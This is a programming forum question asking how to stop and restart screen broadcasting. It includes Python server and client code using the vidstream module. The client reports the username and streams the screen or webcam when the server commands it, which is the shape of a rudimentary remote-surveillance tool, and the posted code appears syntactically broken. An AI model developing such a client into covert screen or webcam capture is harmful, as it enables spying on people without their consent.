K
K
Kira2021-06-20 00:30:45
Python
Kira, 2021-06-20 00:30:45

How do I end screencasting and be able to reconnect?

I have a created "screen" command that starts screen broadcasting using the vidstream module.
I want it to be at the right moment. I just turned off the broadcast
. they started it themselves)

I just want to start the broadcast again but do not restart the server

#server code

import socket
from vidstream import *
import sys

host = socket.gethostbyname(socket.gethostname())
port = 6457

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((host, port))
server.listen(3)

client, address = server.accept()
network_name = client.recv(1024).decode("utf-8")

print(f"[+] {address[0]} ({address[1]} | name: {network_name})")

server_stream = StreamingServer(host, 9999)
server_stream.start_server()
print("[~] Сервер успешно запушен)")

while True:
  cmd = input(f"{address[0]}@{network_name}~#")

  if cmd == "screen":
    client.send(cmd.encode("utf-8"))
  """
  elif cmd == "screenstop":
    server_stream.stop_server() # отключает трансляцию, при повторном подключении выдает ошибку которую я описал выше
  """

  elif cmd == "webcam":
    client.send(cmd.encode("utf-8"))


#client code

import socket
import getpass
from vidstream import ScreenShareClient
from vidstream import CameraClient

host = socket.gethostbyname(socket.gethostname())
port = 6457
stream = ScreenShareClient(host, 9999)

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.connect((host, port))
server.send(str(getpass.getuser()).encode("utf-8"))

while True:
  data = server.recv(1024).decode("utf-8")

  if data == "screen":
    screen = stream
    screen.start_stream()
  elif data == "webcam":
    camera = CameraClient(host, 9999)
    camera.start_stream()

Answer the question

In order to leave comments, you need to log in

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question